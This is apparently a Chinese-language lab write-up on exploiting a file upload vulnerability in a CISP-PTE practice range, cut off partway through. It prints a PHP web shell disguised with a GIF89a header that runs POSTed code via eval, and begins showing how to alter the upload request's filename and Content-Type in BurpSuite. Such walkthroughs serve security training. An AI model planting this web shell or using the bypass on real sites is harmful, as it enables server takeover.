Clark Liew1. 文件上传漏洞实战解析
作为一名长期从事Web安全测试的工程师，我经常遇到文件上传漏洞的案例。今天要分享的是在CISP-PTE靶场中突破文件上传限制的完整过程。这个案例非常典型，涉及文件头欺骗、MIME类型绕过和路径枚举等核心技术点。
1.1 靶场环境分析
打开靶场后，我们看到的界面是一个标准的文件上传功能页面。关键提示信息是："文件上传本身没有问题，有问题的是文件上传后服务器怎么处理、解释文件"。这句话直接点明了漏洞的本质——服务端对上传文件的处理逻辑存在缺陷。
从安全工程师的角度看，这类漏洞通常出现在以下场景：
- 仅检查文件扩展名而忽略内容验证
- 依赖客户端验证而缺少服务端校验
- 对文件内容类型(MIME)检查不严格
- 上传目录具有执行权限
1.2 恶意文件构造技巧
我创建了一个特殊的PHP文件mooyuan.php，其核心结构如下：
php复制GIF89a
<?php
echo "mooyuan";
@EVAL($_POST['ljn']);
?>
这个文件设计有几个关键点：
- 文件头欺骗：前6个字节是GIF89a，这是GIF图片的标准文件头。许多文件检查仅验证文件头而不深入分析内容。
- 伪装输出：echo语句使文件被访问时显示正常内容，增加隐蔽性。
- 后门功能：@EVAL($_POST['ljn'])构成了WebShell的核心，@符号抑制错误输出。
安全提示：在实际渗透测试中，使用EVAL等危险函数需要特别谨慎，确保只在授权测试环境中进行。
需要模型API调用？ 免费领10W Token，多模型网关一键接入 Claude、DeepSeek 等主流模型。
2. 绕过上传限制的技术实现
2.1 直接上传尝试
首次尝试直接上传.php文件时，系统返回"图片上传失败"，这表明服务端有基础的文件扩展名过滤。这是最常见的第一道防线，但往往也是最容易绕过的。
2.2 BurpSuite拦截修改
通过BurpSuite拦截上传请求，我们发现关键字段：
code复制Content-Disposition: form-data; name="file"; filename="mooyuan.php"
Content-Type: application/octet-stream
修改这两个字段是绕过检测的关键：
- 将filename改为mooy